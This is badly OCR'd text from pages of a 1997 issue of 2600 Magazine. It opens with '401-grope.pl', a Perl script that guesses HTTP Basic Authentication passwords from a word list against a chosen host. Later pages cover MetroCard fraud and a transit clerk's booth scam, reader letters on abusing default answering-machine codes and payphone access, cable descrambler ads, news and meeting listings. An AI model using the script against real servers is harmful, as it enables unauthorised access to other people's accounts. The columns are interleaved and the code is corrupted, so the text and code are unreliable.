	print "HEAD /secret HTTP/1.0\n";
	select (CONNECTION); s! = 1; #print "\$ARGV[0]", "\n";
5 	<pre>socket (CONNECTION, &P_INET, &SOCK_STREAM, \$protocol) die "Cannot create socket.\n"; bind (CONNECTION, Scurrent.port) die "Cannot bind socket.\n"; connect (CONNECTION, \$remote_port) die "Cannot connect socket.\n";</pre>
	<pre>Ssend_this=\$_[0]; print "sending encoded string: \$send_this";</pre>
	sub grope{
	print "\n\ndone.\n";
	grope(Base64encode(\$try_this)); }
	Sthisguess = 5.; chop Sthisguess; Stry_this= Susername . ";" . Sthisguess ;
	while (<in>) {</in>
	open (IN, "\$inputfile");
	#main loop
e_address);	<pre>\$current_port = pack(\$sockaddr, &AF_INET, 0, \$current_address); \$remote_port = pack(\$sockaddr, &AF_INET, \$remote_port_number, \$remote_address);</pre>
	(\$name, \$aliases, \$type, \$length, \$remote_address) = gethostbyname(\$remote_host);
	<pre>\$sockadr = '5 n od x8'; sremete_host = 127 0 0 1; sremete_host = 127 0 0 1; chor Ghostname = 'hottome'); (Grame, Saliases, Sprotcol) = getrotobyname ('tep'); (Grame, Saliases, Stype (Surth, Scurrent_address) = gethostbyname(Shostname);</pre>
	print "\n\n";
	<pre>print "\nwhat hostname to try? : (hint: use an IP, its faster) : "; Shostname = <tdinb; chop Shostname;</tdinb; </pre>
	print "Nmwhat inputfile to try? : "; \$inputfile = GTDINs; chop \$inputfile;
	print "What username to try? : "; Susername = <stdin>; chop Susername;</stdin>
perl headers	<pre>push(@INC,"/usr/share/perl/"); require "/usr/share/perl/sys/socket.ph"; #point these to your perl </pre>
net. 2.	# thrown together by Ryan, borrowing from source stolen from the n # Released to public domain June 1997 - written for 2600 magazine.
	#i/usr/local/bin/perl # 401-grope.pl - a grope-in-the-dark "web-wardialer" #

Summer 1997 2600 Magazine	Footnotes and handy references: Apacheweek: Using User Authentication http://www.apacheweek.com/features/userauth HTTP Mrsdel Really Easy http://www.jmardel Really Easy http://www.cis.ohio-state.edu/htbin/rfc/rfc1945.html Avian.org's Netcat Release Notes http://199.103.168.8:4584/webl/hak/netcat.html	exit(0);	<pre>Sstr == trlA-Za-ZB-94/[Icd];</pre>	<pre>sub Base94decode { local(\$^\#) = 0; # unpack("u",) gives bogus warning in 5.001m my 3str = shift; my 3res = "";</pre>	<pre>Sres == s/.{Spodding}\$/'=' x Spodding/e if Spodding; Sres; }</pre>	<pre>Sres =- trllA-Za-Z0-9+/1; # fix podding at the end my \$podding = (3 - length(\$_[0]) % 3) % 3;</pre>	<pre>my Sres = ""; while (S_[0] == /(.{1,4S})/gs) { Sres = substr(pack('u', \$1), 1); chop(Sres);</pre>	close CONNECTION:	if (//HTTP/1\ (401)/) { print "occess denied"	select (STIDUT); while (-CONNECTIONS) { if (-MHTPKYX/) { if (-MHTPKYX (2001301130213031500)/) { print: print; }	print "User-Agent: Badiuysebhegate (Macintosh; I; 2600)\n" print "Authorization: Basic "; print Ssend_this; print "Anit", "\n"; #print "quit", "\n";	
Page 43	ith 45. html		'ormat					 				



Page 46 2600 M	MetroCards on the front, but they have the employee's photo and signature (along with other TA identifiers) on the back. Duplicate Card Prevention - Truth or Ficion There is some belief that cards can be duplicated and used. Every indication short of an admission from a TA spokesperson suggests this. Articls in the <i>New York Times</i> have send from the turnstile to the TBT to a central computer at TA ideadquaters. <i>370</i> Jay Street, and if a second card will be declared invalid. However, if the central computer or TBT is down, turnstiles continue working (and store up to about 3000 swipes). The "central computer declared invalid. However, if the central computer act out and will be declared invalid. However, if the central computer or TBT is down, turnstiles continue working (and store up to about 3000 swipes). The "central computer declared invalid. However, if the central computer declared invalid. However, if the central computer or TBT is down, turnstiles continue working (and store up to about 3000 swipes). The "central computer declared invalid. However, if the central computer declared invalid. However, if a same duplicate act duplicate act duplicate locate. The one hard of the original had an expiration of "rad Satrs On" field (as can be seen on the TBT screen). It is highly likely that a random combinations of "Card Expires On" dates a "Card Expire Son" field (as a sulf as a "Card Expire Son" field (as a sulf as a "Card Expire Son" dread a numor that a few vendors on your MetroCard for a little as \$0.25. This is still successful decard invalid before" adjusted as earls a successful spect of "ecord" a card security happercorder to "record" a card's "sounds" on 8-track tape, cut the ape, glued it to a piece of cardboard a or plastic, and stater arrested, allegedly because something supricious showed up on the main computer at 130 Livingston Street, Brooklyn. However, it is nore likely that a sharper depoletion circle this use of an unorthodox-looking and arcsted him on the spot.	
2600 Magazine Summer 1997	Clerk Screens and Strange Field: There are a number of ways that a clerk can examine the information on a MetroCard. TBT Screen for regular cards Target internet in the strain of t	-
Summer 1997 2600 N	Write termined in the propried by the second seco	
2600 Magazine Page 47	 ware system. Some software was also provided by IBM. The original TBC was some sort of PC enclosed quite securely in a surdy stainless-steel bousing. Two Medeco locks provided TA Super-iorison and Chokie Technician access to various cian's menu allows him to perform diagnostic checks. The TA Supervisor's menu allows him to perform diagnostic checks. The TA Supervisor's menu allows him to perform diagnostic checks. The TA Supervisor's menu analysis him to perform diagnostic checks. The TBC Supervisor's menu analysis him to perform diagnostic checks. The TA Supervisor's menu analysis him to perform diagnostic checks. The TA Supervisor's menu analysis him to perform diagnostic checks. The TBC Supervisor's menu analysis him to perform the back of the box were standard. The TBC Chad an amber screen. The keyboard was housed in the stainless scel cabinet. The cables from the back of the box were standard. One of the back-frown (to TA personnel) scams occurred when the RRC at the part time booth at WhiteAll Street discovered which cable commuter. He discomered the TBC to the central computer. He card 'creation' (or the addition of money to them) was unknown to the central computer. The RRC in question pocked plenty of cash for a time burd form, but \$300 cards that only gave them one ride complained. As far as we know, the clefk was allowed to resign in lieu of presecution. Rendard PC reboot and control sequences were disabled from the TBC share been replaced by TBTs (To-the additive and to give anyone cleak. Standard PC reboot and control sequences in thin the origin allow of the certual theorem on the CPU and keyboard. The CPU and tables are almost completely armored. The CPU and cables are almost completely armored. The CPU and cables are almost completely armored by TBTs (to-the part at the clefk was allowed to resign in lieu of presecution. 	

quit messing with it, although I tried a few codes, just in case they were as stupid as I though they were. About two weeks later, the school I attend got a call from the FBI, and they were looking for me All they did was take away my phone and made me write a letter of ipology. I never mailed the letter. I turned out that the number was a direct line to Page 48 lating the rules, picks up a copy of Evil 2600, com-plies the Evil SYN program listed on its Evil pages, and ultimately causes the ISP to go out of business. ticle on SYN denial, complete with the Horror Story of the Evil Hacker whose thrown off his ISP for vio-Dear 2600: spies on an answering machine with a default three digit code. Brilliant, guys. But somehow it's people like us who are defined as threats to national security. Clueless land... I was lucky something worse dich't happen as a result of my own stupidity in being traced. But still, we all got a kick out of leaving Russian obscenchine This supposedly made the TV news in Indi-anapolis, and the number was permanently blocked from the Ball State University switchboard. And the FBI is still ities on the FBI's outgoing message the FBI, and the machine was at Fort Meade, Mary-But then I went back to school and my friends found out about it. We screwed with the hotline for about two weeks before anyone noticed. Then they changed it back every day, and I changed it back every night. If I wanted to, I could have changed the the first phone prank I'd ever done. code, but I didn't want to get into trouble - this was try it. I called the number, tried the code, and it worked. I just said, "Hello," with a Russian accent. The June 1997 issue of Linux Journal has an arthe machine, but most people are too lazy. You're supposed to change the code when you buy knew the code. The BellSouth company programs the same default code into all the machines: 6-8-9. played the same thing, and I knew how to change the outgoing message from another phone, as long as I ticed that my answering machine in my dorm room chine played "Fur Elise" by Beethoven. I no-Then I went home for Christmas break and I told my little brother to call the number for a laugh. He Yeah, let's leave confidential information about Just thought you might like to know. So finally, they wised up and changed the code. I noticed that I waited about another week, and finally had to (continued from page 39) using the same two-bit answering mathe beep on their answering ma-2600 Magazine s of my Winter 96-97 Issue. I noticed that I was going to have to send you the way cool Payphones of the Planet page. I decided that I wouldn't subscribe just to keep that final page This is not just a suggestion, but a plea. Do you think that you could somehow put the sub-scription form on another page. Thanks. Dear 2600: cles forever. We don't think about what political slant we take when we spread information. We just spread information and try to wake people up. If that seems leftist to you, you're probably standing And the conservative/rightists try to ban flag burning, eliminate gay rights, and force "family values" down our throats. We can go around in cir-**COCOT** Mysteries so far to the right that everything else does too. free speech, it is mostly its more liberal elements. It was the liberals who pushed the Clipper Chip and who fucked up at Waco. It would, in my opinion, be more beneficial to the hacker cause to give less lipticed that most of your letters and articles seem to take a predominantly liberal/leftist approach. This both confuses and disturbs me. While it is true that service to the socialists. They won't repay the favor. the government as a whole does often try to suppress Dear 2600: write it on a stone for all we care. page. All you need to do is send us your name and address and the right amount of US dollars. You can You must be missing more than a name if you couldn't figure out how to subscribe without that My parents own a payphone company in Los Pointless Dear 2600: Hopeless buy ammo and gun deaths will end! ing by gun shops. If nobody notices how many of them there are, nobody will ever realize they can uted once 2600 pointed out how easy it is to do this Oddly, the author never grasped that the prob-lem with SYN denial attacks was only widely known after publication of the article, or that the software fixes he discussed were created and distribtype of attack, etc. arm an avid reader of your zine. But I have no-While filling out the subscription form in the back Just the kind of analogy we need. guess it's time to pass laws outlawing advertis-Summer 1997 Rhyme-Chai Nameless Bear an obvious show of support for credit card fraud. I thought you guys over at 2600 dish't condone the use of credit card fraud. I don't know any other way of interpreting this article unless it's to show the al-gorithm of Mastercard. I really leet that a magazine that it based on hacking shouldn't print articles that Summer 1997 exercise in algorithms and calculator program-ming. You can use knowledge in evil and stupid not for the use of credit card fraud, but rather as an means you dich't read our reply to that other letter which said that these numbers have nothing to do with announcing taps. If you choose to continue be-lieving in this silliness, ask yourself what kind of law ways. Stopping the flow of that knowledge isn't the encourage credit card fraud. article entitled credit card numbers via calculator is Dear 2600: **Condoning** Fraud ре соску where people could find out if their phones are tapped. It makes no sense, technically or logically. siren if the line is not tapped, a ring if its a federal tap, or a busy signal if it's a local tap. Well the num-This letter is kind of in regards to the one writ-ten by Wussfish in the last issue (Winter '96-'97) it. You need a program called PNM to get into the one does not come on until you deposit a quarter. 2. Every payphone has a 1200 baud modem in are some tips: 1. On the newer payphones the dial tone you hear when you pick up the handset is fake. The real But then, we got a siren when we called it so we can enforcement clown would want to have a feature after a close call of a partial trace on me I get a busy signal when I call that number... Could this mean 979-9993, for a while gave me a siren tone. But now ber that appears to be that number in my area, (602) Dear 2600: ber and an 8 digit password. anything? which stated that a certain number will produce a Phone Tapping work really old 1200 or 2400 baud modem. 14.4 does not payphone. Your computer also has to Angeles. They own about 50 phones right now. Here As the article clearly stated, this knowledge is Yes. It means you're wasting your time. It also I'm very disappointed in your magazine. your 3. Payphones are protected by a 4 digit ID numthe trailer park hero have a really Mwaaah 2600 Magazine Cheeto aware that viruses are not anything more than a pro-gram, and while a large number are malicious, some just cause damage due to poor programming. The visar with someone should be branded as unable to co-exist with others simply because he wrote a program that seeks to replicate itself is insane. If that were true shouldn't myself, along with a large portion of kind of (single) switch to put the game into "home use." Arcade games are *not* designed for "home use," as very few arcade games are used in the home, so there would be no need for this kind of on arcade games. In short, this person is an idiot! I have been working with arcade games since the age of 12 (over 10 years), and own three uprights and more than 20 boards. Tim Leary These locksmiths are getting out of hand Where's Geraldo when you need him? Sorry to jump on this, but I had to reply to the letter written by NeoCzar about switches and codes ing criminals how to commit crimes. Is *The Na-tional Lockmith* magazine doing this too? I enclose an article they published in the March 97 issue showing how to hack your way into a Diebold ATM machine Well, not hack, but literally open it up and goes I sincerely hope you continue to publish that sort of information. If you don't, are we supposed to trust the anti-virus community to do it for you?! way/Bally games that I have worked on have any Dear 2600: magazine's information, and my having a back-ground in virus writing and hacking, our systems would be at much greater risk. Perhaps you are not computints about publishing virus information. As a network administrator 1 am faced with dealing with viruses as part of my job. But were it not for your magazine's information, and my having a back-ground in virus written and the back-ground in virus written and the back-Arcade Facts remove all the money. Dear 2600: Dangerous Info room without windows? As far as your magazine computer scientists and others, be locked up in a son's letter in Winter 96-97 issue in regards to his complaints about publishing virus information. As a Dear 2600: way to prevent this. This next letter should prove our point. Thanks for the Virus You have often been unjustly accused of teach criminals how to commit crimes. Is The Na-I can tell you from experience, no Namco/Mid-I'm writing this letter to respond to Sean Emer MiSguiDeD Page 49



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	device to carry at all times. Cash or money	first and tell us the brand and model number	number of the converter used in your system
EFUL FLUID BBS is a bulletin board system created	only a collector's item but a VERY USEFUL	Box cannot be bulleted! You must call or email	for all systems. Send me the brand and model
	devices. Price includes mailing. \$99.95. Not	Stop paying outrageous fees for pay channels.	reprogramming Alex CABI F CONTRACTOR
frol	dolphin. Also, ideal for telephone remote control	CABLE TV BOXES: You know what they do!	software from the internet and you're up and
W/W/W	frequency. Use both holes to call your dog or		counter measures). Just download the latest
	Saying nothing. Cover one note and get exactly	original!	CARD if you get hit by ecm's (electronic
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the Process.) Do you feel we're laughing at you?		SotMESC, Box 573, Long Beach, MS 39560.	the ultimeter land land land formulas! Safely write
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2600 Magazine Page 55	Summer 1997 2600 M	gazine Summer 1997	Page 54 2600 Magazine
to see more mega-mergers. It seems almost as if the great breakup of 1984 was little more than a trial separation. If we can stretch the analogy to make telco customers the chil- dren of this marriage, we had better start looking for a foster home.	the address that your E-Prass is registered to if your headpen to be specing. We should point out that the system is totally voluntary and, if you're interested in getting a couple of these units and maybe ripping one apart to see how it works, it's easy to accomplish by going through one of the above numbers.	effect. In another action, one of the Cyber Promos machines was accessed and a list of customers, i.e., people who themselves are involved in unsolicited mailings on the net, was widely circulated. Organizations like Cyber Promotions have prac- tically destroyed the effectiveness of usenet and now they are clogging up individual users' mailboxes with	stability and net access can apply to become a regis- trar and register domain names all around the world. Customers will be able to keep their domain names if they switch registrars. The deadline to apply is Octo- ber 16, 1997 and the form can be found at http://www.gtld-mou.org. if you don't have net ac- cess and can't get to that sile, why in the world would
Baoy Bells also merget: SWB and Facinic recess. And for a brief while, there was talk of <i>hat</i> huge en- tity merging with none other than AT&T! That insan- ity was mercifully short-lived but don't be surprised ity was mercifully short-lived but don't be surprised	used for years with the toll card system. Now it seems that they've installed secret detectors at cer- tain points on the highway that exist for no other pur- nose hur to calculate your speed and send a ticket to		mains, as of April (998 there will be a more compet- itive atmosphere. Anyone who can afford the \$10,000 application fee and demonstrate financial
wen the two telecommunications giants somehow won approval from all of the regulatory bodies who really should have known better. Earlier, two other back the source of the source of the source the source of the s	drivers are getting speeding tickets because of their E-ZPasses. And it's not because of a simple calcula- tion between two toll points - that method has been	people with reply to the sender with dark threats and speciacular Internet justice. But any good hacker can get to the root of the problem one way or another. In May coherenew one was the hard sender.	But this scale, pare of the story. The sentire strug- ture of the two is in-dut to other a and many people think this is for the berlin. When a there is courrently only one registers for the source are, and one do-
It now seems almost certain that Bell Atlantic will be replacing NYNEX as the local phone com- nary in the Northeast. This comes as the metrer be-	when. Only a fool would think that this information wouldn't be handed over to law enforcement in a sec- ond. But there is at least one thing that seems to sur-	ung fut peet firm you win local dialup account wing fut peet firm your own local dialup account without the risk of account termination." Bastenly, they are forcing email addresses so	nom (for individuals). I seem and suggested us who known?
ernment has the potential to work around that, this is exactly what will happen. There's no reason to be- lieve anything will be any different here.	concern is already being voiced over the potentials for tracking drivers. Records are obviously kept of what bridges and tunnels you drove through and	ore rannoods ow proprisity high-speed relay network, without identifying the domain name or IP address of the origin! The end result is that you will be down on the transmission of the second	buy things), web (for WWW-related activities), and (for outlined and encertainment equip), area (for recre- ational activities) into (for information service
ctal." The lesson to be learned here is simple. We can put in all the encryption we want but as long as gov-	800-222-TOLL for the New York Thruway system and 800-333-TOLL for the New York City area. The two systems are still not connected to each other but	stealing other peoples' resources, and the third tech- nology will relay your email messages through Cy-	that existing top level domains would become insuf- ficient. There is talk of expanding them to include things like from fore harmesset to fore locate
has forced the operators to agree to carry out tap- ping on the authorisation of any government offi-	and "pongs" tack a response that will then open the gate and charge your account. There are two different systems and they each have their own 800 number:	your emails leave your computer! The second tech- nology allows you to send over 50,000 emails an	taking lots of notes. As the net continues to errow it was inevirable
on the specific authorisation of the Union home sec- retary. In this case the Department of Telecom, in	for cars going through tolls. It sits on the inside of your windshield, receives a signal at the tollbooth,	motions is now presenting three new technologies that will only work properly if used all together. The first technology can observe the message ID Advised	rou can bet that the Exons, Heims, and even Clintons of our nation are looking at the situations in these two countries with great interest. And they're
•You ask for the mandatory autions with the second seco	about at www.naw.comp.com/maw.comp E-7Pass is the latest system in use in New York	this little pitch that these aleazabags use to con other sleazabags into sending them \$1,000: "Cyber Pro-	munity is beginning to look upon the German gov- ernment in the same way.
be monitored. He then simply tapes the calls. Most private companies are too scared to object and do not	technology has always been the danger of parents fig- uring out how to use it. You can see what this is all	Cyber Promotions is undoubtedly one of the	who access "violent" games like Quake are pun- ished. Apparently the German government sees the Internet as a threat to their society. The Internet com-
"Another mathod to short circuit the process in- volves a junior level official being sent to the switch- ing centre with a tape recorder and a list of names to	love," the ads say. A concerned mother is seen say- ing, "Now I never worry about Johnny on Saturday mohit" We all know the scarnest thing about new	AOL canceled plans to release their subscribers' phone numbers only days after making the decision.	maintaining a link on her web page to a leftist news- paper in Holland. This is a country where people
which it goes to the secret central monitoring station in North Block	locators that can attach to car phones as apparent safety devices. "Track yourself - or somebody you	scribers, they simply updated their Terms of Service without saying anything. Customers weren't too	to distribute child pornography and violent computer games, by not doing enough to block offensive mate- rial. An individual was charged more recently with
takes a line from the switching centre and then with the help of cables the call is taken to the nearest Ma- banaoar Telephone Nicam Limited exchange after	In one of the funniest add we've seen in quite a	to telemarketers. The way they did it was particularly sneaky. Instead of mailing their eight million sub-	sion into the deep South. The head of Compuserve's German subsidiary was recently indicted for helping
cannot be intercepted except after they have been de- crypted at the switching centre. [Law enforcement]	once and for all because of the massive amounts of money being lost.	America Online strikes again. Word leaked out	Germany, however, <i>does</i> have 2600 meetings. And it claims to be part of the Western world. We're beginning to think they may be trying to gain admis-
"Since the conversation is automatically en-	point they will become vulnerable to your full wrath.	magic numbers, and what kind of call accounting records are kept.	order." Don't expect a flurry of 2600 meetings in China anytime soon.
maintain confidentiality of the names given to it by the authorities.	ever product they happen to be pedding and getting them to believe that you're really interested. At some	XXXX. From Europe it would be 00-800-XXXX. XXXX. We will let you know if we find any of these	They are also forbidden to produce, retrieve, dupli- cate, or spread information that may hinder public
technology, are blissfully unaware of the tapping. "The cellular phone operator is also forced to	ourselves to wasting as much of these losers' time as noscible. That means expressing an interest in what-	and Canada, you would dial 011-800-XXXX-	activities at the expense of state security and secrets.
"Cellular phone owners, confident that their phones have the latest automatically encrypted GSM	neaders, they have made it introversione to be assed politely to stop, cutting it off at the source is the only action left in addition, we as individuals can commit	It works like this: "800" is the country code and the number itself is eight digits in length. So to reach an	looked upon as a threat. And it's no wonder with en- lightened laws that decree things like "Neither orga-
right to privacy, the government is forcing private cellular telephone companies to provide the infra-	makes the first strike, you are entitled to do what is necessary to get them to stop. Since, by forging their	for the cost of \$150,000! International toll-free numbers are now a reality	the truth is that there are always places where things are worse. Sometimes much worse. In China, even meeting in an Internet cafe can be
In rew Lenn, OSW phones are unlimb out to co as open to abuse as their more primitive cousins. This scary excerpt comes from the New Delhi Satesman: "In a gross invasion of the law and the citizen's	unsolicited junk. The last thing we need are more laws designed to regulate the net. So the most effec- tive way of dealing with people like these is to use the newsor of the net in a nortifive way If someone		United States as far as threats to free- dom of speech on the Internet go. But

Page 56 2600 Magazine	-	City, they have bought the 917-770, 917-774, 917- looked into		888, or 900 number. Excent you may not know when i us to dial at			subj	_	Ornnipoint phone, your Caller ID data will be dis-	Caller ID restrictions. If you call someone with an in naranoia				_				á			_		-						-	Apart from making neonle use NYNEX phones a lot Them		-															payphones, specifically those annoving vellow nre-							savs Chief Assistant District Attorney Richard Isle. of the co			
Summer 1997		looked into a few of them and invariably there's a	many times if these companies are tip offer we have	never want us to sign up as customers - they just want	their carrier access code before dialing. They almost	tronomically low rates for phone calls if we only use	subjected to some new phone company offering as-	hardly a day that ones by where we aren't		in naranoja land	look is something we could learn a lot from our three	their education. Such an enlightened out	they had no criminal intent and their feat was a com-	school that the three hackers attend said	were minors. And Zdravko Curko, princinal of the	have had, they would not be prosecuted because they	any possible motives the hackers might	Police have said that, while they were in-	s. In a way, they almost seem proud of	Ministry system of the air base on Guam and several	the hackens had broken the U.S. Defense	ant interior Minister Zeljko Sacic told		ecialize in mathematics and computer sci-	I Zadar where the three teenagers, aged 15	local reporters flocked to the high school in the Adri-	named saletting research center. After the news broke,	The second secon	inds that were compromised allegedly in-	cated their computer equipment,	e searched the youngsters" flats and confis-	through Interpol to demand an investigation while	Defense Department had contacted Croatian police	thing wouldn't be possible. Nevertheless, the U.S.	The Pentagon angrily denied this saving that such a	fied files from military bases in the United States	protection codes and gained access to highly classi	in Croatia were reported to have broken Pentaron	r this year three teenage commuter backers		a minute deal	to those who happle hest We hear rumors of a mideal	AT&T has gone on record as saving the best doubt on	it to those customers smart enough to set for it	minute plan on nights and weakends. They only size	which is designed to compete with South 1 is rate,	they haven't been telling anong about thing is that	propie, AL & L has been othering customers a time a	nle AT&T has been offering customers a dime.	evelation that startled the hell out of a lot of	in compositive, you could be in for a surprise.	is Omninging you could be in for a sumain	stance if you don't know that the \$16 313 and	of the country are a different atom. In fit of	city, you can just add 91 / to the area codes not to	City you are installed of a rea code in New York	bio, and 91/-943 exchanges. Since all cellular/GSM
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Summer 1997 2600 Magazi	equipment in violation of FCC Rules. Entities en-	be considered to constitute manufacture of such	substantial scale to receive cellular frequencies will	to prevent people from lighting it out any way, used of a	fied to receive those frequencies. Now, not being able	scanners capable of receiving or being easily modi-	they prohibited the manufacture and importation of	frequencies back in 1986. Then, in April of 1993,	See. first they made it illegal to listen to cellular	law and the Commission's rules."	Such modifications are not permitted under federal	Public Cellular Radio Telecommunications Service.	der to receive frequencies allocated to the Domestic	fering to modify scanning receivers (scanners) in or-	"It has come to our attention that entities are of-	February 13, 1997, they state angrily:	the warpath once more. In a memorandum dated	The Federal Communications Commission is on		thinking. And phone companies love that.	We suspect many people are just dialing without	thing about extra charges, minimums, or vague laws.	put on all our phones. The success here and any	Every one of these companies sent us success to	again, no menuos os ue actual laico.	Club. Except mey il only save you as percent. And	Club Exact the 1 only save you 25 nercent. And	ritially, 1993, is built come Distance Wholesale	Finally 10457 is Dial & Save. This one is almost	ways be at least ou critic, even in you only one on the	never spend just 10 cents on the Lune, it was al-	have a three minute minimum! That means you will	only do they charge you \$5.00 a month but all calls	anytime. This is one of the worst ones around. Not	10811 is the Dime Line. Only 10 cents a minute,	there.	hard to know for sure when the numbers just aren't	no guarantee you'll save anything and it's awfully	calling plan you happen to be on. The truth is there's	and it's bound to change radically depending on the	50 nercent on every call. That's a pretty wide range	ing. All they keep saying is that you will save 15 to	they don't tell you is how much you're actually pay-	looks pretty good on the surface. But the one thing	There are no fees or minimum number of calls. It	10097 is the Long Distance Wholesale Club.	company stay affoat.	from everyone who dials the code is helping this	nav off even with the fee. But undoubtedly this fee	you are always making calls on this system, it could	on for one minute, that call will cost you \$5.04. If	you only make one phone call on Talk Cents and stay	which may catch some neonle by surprise. Even if	a cente per minute" rate But there's a \$4.95 charge	10 sources in Talk Center and they offer an "unlimited	Calcii of solid solid maximaxes the other more boomed	catch of some sort that makes the offer not as good as

Los Angeles Une Stain, cure of Nay & Ameth. Inici-entines: Primer of Nay & Ameth. Inici-entines: Primer (21) 71-5519, 5529 (21-552), 557 The Math. Controller, NY Union South (22) S. Faudal Scj on the main level Simout screen Columbia, SC Robad Fabie MJ, Zal levi, load court, by the payhones in the noning section 4 pm Columbus, OH Convention Center, lower level near the payhones. Boston Prudential Center Plaza, Terrace Food Court. Pay-phones: (417) 234-6582, 6583, 6584, 6585, try to bipass the carrier. South Park Hall, raised area of the food court. Chicago 3rd Coast (ale, 1260 North Deathorn. Kansas City Food Court at the Oak Park Mall in Overland Kansas Varias Mana's Przz, northeast corner of Campbell Md. and Preston Rd. in North Dallas, first floor of the two story strip section. 7 pm. Psyphone. (214) 931-3850. Baton Rouge, LA In the USU Union Buding between the Tiger Pause and Swenzers' loc Cream, wext to the papphones. Psychone number: (304) 381-9520, 9538, 9618, 9722, 9733, 9735. Lennox Hall food Gourt. Baltimore Baltimore Inner Harbor, Harborplact Food Gourt, Sec-ond Floor, across from the Newscenter, Payphone: (110) 547-9361. Alcon, Oat Gafer, Gadigar Qinou o the care of fatt E-thang and human are known linearing. Alburgarene, NM Wordt: Mai Fool Garr, and paphenes on the lower level between the Gamean and actual. Pro-phenes, 1953, 183, 1837, 1878, 2838. Danned Carr, anadaing techon, near accusation and the Garr, anadaing techon, near Houston food court under the stairs in Galleria 2, next to McDonalds. Convention Center, lower ieves in Dallas Coventry Arabica, Cleveland Heights, back smoking section. our Boise, ID Cyberplayce at 7079 Overland Rd. Bioomington, MN Hall of America, north side food court, across from Burger King and the bank of payphones that don't take incoming calls. Ann Arbor, MI Galleria on South University. Atlanta (enwood Town Center, Buffalo Eastern Hills Mall (Clarence) by lockers near food NORTH AMERICA Lieveland P room 2600 Meetings Rochester, NY Marktplace Mall food court 6 pm Food Carr of Lixelish Shopping Concerpt of the Model Prophese (2008) 018-7416, 2171. and 618 how the Prophese (2008) 018-7416, 2171. and 618 how the propheses.
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 Food State Concerns and the State Concerns and Concer Empire Hall, by Burger Karg. Vancouver, BC (Canada) Pacific Centre Food Fair, one level down from street level by payphones, 4 pm to 9 pm. Seattle Washington State Convention Center, first floor, Sioux Falls, SD by the payhous: Payhouse number: (488) 251-5714, 5914, 5913, 6923 Zoalo Salvary Sizon (Lue 3 of the Hern Nu-ling) At the "Departments del Distino fictual" teris, esar the payhoust and the cataly hap, at the beginning of the "Totalo-fina". Surret" numet Sacramento Downtown Plaza food court, upstain by the theare. Payphones: (916) 442-9543, 9644 - bypass the car-St. Louis Galleria, Highway 40 and Brentwood, lower food court area, by the theaters. Raleigh, NC Crabtree Valley Hall, lood court Dadeland Shopping Center in front of the Coffee Bearery by Victora Station research. Hysfair Kall on Highway 100 (Hysfair Ka) & Korth Are, in the Hysfair Community Asom. Payphone: (414) 302-5549. San Francisco 4 Embarcadero Plaza (inside). Payphones: (415) 398. 2003, 9804, 9805, 9806. Reno, NV Meadow Wood Mall, Palms Food Court by Sbarro, 3-9 ---Maine Hall by the bench at the food court door. Hoyd Center Hall, second level at the food court Phoenix Peter Piper Pizz at Netro Center. Pittsburgh Carnegie Hellon University student center in Jabby 900 30th Street Amtrak Station at 30th & Market, under the "Stairwell 6" sign. Payphones: (215) 222-9880, 9881, 9779, 9799, 9632, 387-9751. campus. Bean Central Cafe, intersection of West End Ave. and 29th Ave. 5. three blocks west of Vanderbilt Portland, ME Philadelphia **New Orleans** Nashville iene, g erna, 6-7 pan Rio de Janeiro, Brazil No Su Shoping Centr, fun Uok Rigil Oub. Tolyro, Japan At Hilt Flazz (n fand o Subruy zandwiches) Rop-pongi (by Suntary Hall). Munich, Germany Hupbahahd (entral Jation), first flort, by Burger Ling and the problems: (Die site) on the S-Bah from Hickenburcke - Hickenbridge) Birthplace of HickenPictorn bere Symphone: +45-48-591-835, +45-48-558-541, 542, 543, 544, 545. Melbourne, Australia Hoborne (send Japping Genra at de Svanson Stret estracte sear de public jobeac Moscow, Russia Burger Osena de war II-MURUI (biephone Agency of Anzia/Heignah Agency 16 Sont Union) - aloo Insona at Nicche Konz. Munich Garanne Transport issic Madelaide, Australia Outside Calut, near the Academy Gnema, on the corner of Grenkla and Poloney Xiretta. M the Grenplasts at the popphones doesn't to the crithedra Paris, France Place d'Italie XIII, in front of the Grand Ecran ema. 4-7 nm Priya room. Trocadero Shopping Center (Near Picadily Circus) next to W machines. 7 pm. Manchester, England Cyberia Internet Cafe on Oxford Md. next to St. Pe-ters Gaussa & am Halmstad, Sweden At the end of the town square (Stora Torget), to the right of the bakery (Tre Hjartan). At the payphones. Hull, England Bristol, England By the phones outside the Almshouse/Galleries, Mer-chant Street, Broadmead, Payphones: +44-117-9299011, 9294437, 6.45 pm. Belo Horizonte, Brazil Pelego's Bar at Assuleng near the payphone. 6 pm. Buenos Aires, Argentina In the bar at San Jose 05. ters Square. 6 oe ruentenuev Granada, Spain Ciberteca Granada in Pza. Einstein near the Campus Hull. / pm In the Old Grey Mare pub, opposite The University of cameoral Aberdeen, Scotland Outside Marks & Spencers, next to the Grampian Transport kink Washington DC Pentagon City Mall in the food court AUSTRALIA, EUROPE, ASIA, SOUTH AMERICA Cinema New Delhi, India Complex, near the Allen Solly Show London, England

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